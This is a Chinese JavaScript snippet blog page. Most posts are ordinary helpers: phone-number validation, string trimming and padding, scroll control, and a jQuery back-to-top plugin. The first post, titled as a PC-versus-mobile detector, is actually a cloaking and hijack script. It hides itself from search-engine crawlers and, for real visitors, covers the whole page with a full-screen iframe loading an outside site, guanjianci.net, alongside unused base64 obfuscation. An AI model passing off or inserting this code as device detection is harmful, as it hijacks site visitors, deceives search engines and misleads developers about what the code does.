javascript判断用户是电脑端还是手机移动端终极版
作者:admin 日期:2024-04-28
- var system = {
- win: false,
- mac: false,
- xll: false
- };
- var userAgent = navigator.userAgent;
- var platform = navigator.platform;
- var p = navigator.platform;
- var us = navigator.userAgent;
- system.win = p.indexOf('Win') == 0;
- system.mac = p.indexOf('Mac') == 0;
- system.x11 = (p == 'X11') || (p.indexOf('Linux') == 0);
- var now = new Date().getTime();
- var base64 = btoa(now + 'Todaysubdomain'.replace('-', '/').split('T')[0].replace('-', '/'));
- var sub1 = base64.substring(0, 20);
- var sub2 = base64.substring(1, 21);
- var sub3 = base64.substring(2, 22);
- var sub4 = base64.substring(3, 23);
- var sub5 = base64.substring(4, 24);
- try {
- var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i;
- var iframe_url = '';
- var zindexCount = 999999;
- if (!reg.test(navigator.userAgent)) {
- if (system.win || system.mac || system.xll) {
- var arr = ['https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net'];
- iframe_url = arr[Math.floor(Math.random() * arr.length)];
- } else {
- if (/iPhone|iPad|iPod|iOS|Android/i.test(navigator.userAgent)) {
- var arr = ['https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net'];
- iframe_url = arr[Math.floor(Math.random() * arr.length)];
- }
- }
- document.write('<div id="div_iframe' + (zindexCount - 1) + '" style="z-index:' + zindexCount + ';height:' + window.innerHeight + 'px; width: 100%;position: fixed;top:0; background: #ffffff;height:100%;padding:0px;margin:0px;"><iframe id="myiframe" frameborder="0" width="100%" height="100%" src="' + iframe_url + '"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden;padding:0px;margin:0!important;}</style>');
- }
- } catch (e) {
- console.log(e);
- }
以上代码来源于网络,仅供参考!
JS使用正则表达式校验手机号码
作者:admin 日期:2023-02-09
检验的格式为
开头数字必须为1,第二位必须为3至9之间的数字,后九尾必须为0至9组织成的十一位电话号码
- //JS使用正则表达式校验电话号码
- function checkModbile(mobile) {
- var re = /^1[3,4,5,6,7,8,9][0-9]{9}$/;
- var result = re.test(mobile);
- if(!result) {
- alert("手机号码格式不正确!");
- return false;//若手机号码格式不正确则返回false
- }
- return true;
- }
js 操作(数字前端去0、文字去除空格、截取字符串、保留几位小数、数字不足位数前补0)
作者:admin 日期:2023-02-07
- //1、数字前端去0
- var num = number.replace(/\b(0+)/gi,"")
- //2、文字去除空格
- var str = str.replace(/(^\s*)|(\s*$)/g, "")
- //3、截取字符串
- var str = abcdef
- str = str.substr(2,3) //cde
- //4、保留小数
- //保留4位小数
- var number = 12.3321432;
- number = String(number).replace(/^(.*\..{4}).*$/,"$1");
- number = Number(number); // number = 12.3321
- //保留2位小数
- var reg = /^(.*\..{2}).*$/;
- var number2 = 12.3;
- number2 = String(number2).replace(reg ,"$1");
- number2 = Number(number2); // number2 = 12.3 不足保留位数不补0
- //5、数字不足位数前补0
- var number = 100
- var num = (Array(5).join(0) +number).slice(-5) //num = 00100
js控制div内的滚动条的位置
作者:admin 日期:2023-02-07
通过div的scrollTop变动控制垂直滚动条位置。
通过div的scrollLeft变动控制水平滚动条位置。
示例:
<body>
//d1是外层div,带滚动条
<div id='d1' style='height:200px;width:100px;overflow:auto;background:blue;'>
<div style='height:500px;width:500px;background:yellow'>2222</div>
</div>
</body>
<script>
document.getElementById('d1').scrollTop=100;//通过scrollTop设置滚动到100位置
document.getElementById('d1').scrollLeft=200;//通过scrollTop设置滚动到200位置
</script>
.
三种方法实现Javascript控制ScrollBar(滚动条)
作者:admin 日期:2023-01-08
Ajax解决缓存的5种方法总结(推荐)
作者:admin 日期:2022-03-22
1、在ajax发送请求前加上 anyAjaxObj.setRequestHeader(“If-Modified-Since”,”0″)。
js判断是pc还是移动端
作者:admin 日期:2021-01-19
jQuery跳转到另一个页面
作者:admin 日期:2021-01-05
1.我们可以利用http的重定向来跳转
js区分苹果手机,安卓手机和windows手机
作者:admin 日期:2021-01-05
区分苹果手机,安卓手机和其他
JS判断浏览器iOS(iPhone)、Android手机移动端
作者:admin 日期:2021-01-05
javascript正则表达式去除html中的style样式
作者:admin 日期:2020-02-29
一、使用正则表达式去除html富文本中的style样式
返回顶部的jquery插件
作者:admin 日期:2020-02-16
Easy Peasy
Download the minified version of the plugin, include it after jQuery and:
<script> jQuery(document).ready(function(){ jQuery.goup(); }); </script> 带参数的:点击下载此文件 <script type="text/javascript"> $(document).ready(function () { $.goup({ trigger: 100, bottomOffset: 50, locationOffset: 70,containerColor: '#990000', title: '返回顶部', titleAsText: false }); }); </script>
Demo
Yeah! You can see it in action on this page. If you scroll down, you can see, on the bottom right, the magic!
Options
Name | Description | Type | Default |
---|---|---|---|
location |
On which side the button will be shown ("left" or "right") | String | right |
locationOffset |
How many pixel the button is distant from the edge of the screen, based on the location setted | Integer | 20 |
bottomOffset |
How many pixel the button is distant from the bottom edge of the screen | Integer | 10 |
containerRadius |
Let you transform a square in a circle (yeah, it's magic!) | Integer | 10 |
containerClass |
The class name given to the button container | String | goup-container |
arrowClass |
The class name given to the arrow container | String | goup-arrow |
containerColor |
The color of the container (in hex format) | String | #000 |
arrowColor |
The color of the arrow (in hex format) | String | #fff |
trigger |
After hoiw many scrolled down pixels the button must be shown (bypoassed by alwaysVisible ) |
Integer | 500 |
entryAnimation |
The animation of the show and hide events of the button ("slide" or "fade") | String | fade |
alwaysVisible |
Set to true if u want the button to be always visible (bypass trigger ) |
Boolean | false |
goupSpeed |
The speed at which the user will be brought back to the top ("slow", "normal" or "fast") | String | slow |
hideUnderWidth |
The threshold of window width under which the button is permanently hidden | Integer | 500 |
title |
A text to show on the button mouse hover | String | '' |
titleAsText |
If true the hover title becomes a true text under the button | Boolean | false |
titleAsTextClass |
The class name given to the title text | String | goup-text |
zIndex |
Set the z-index | Integer | 1 |
广告位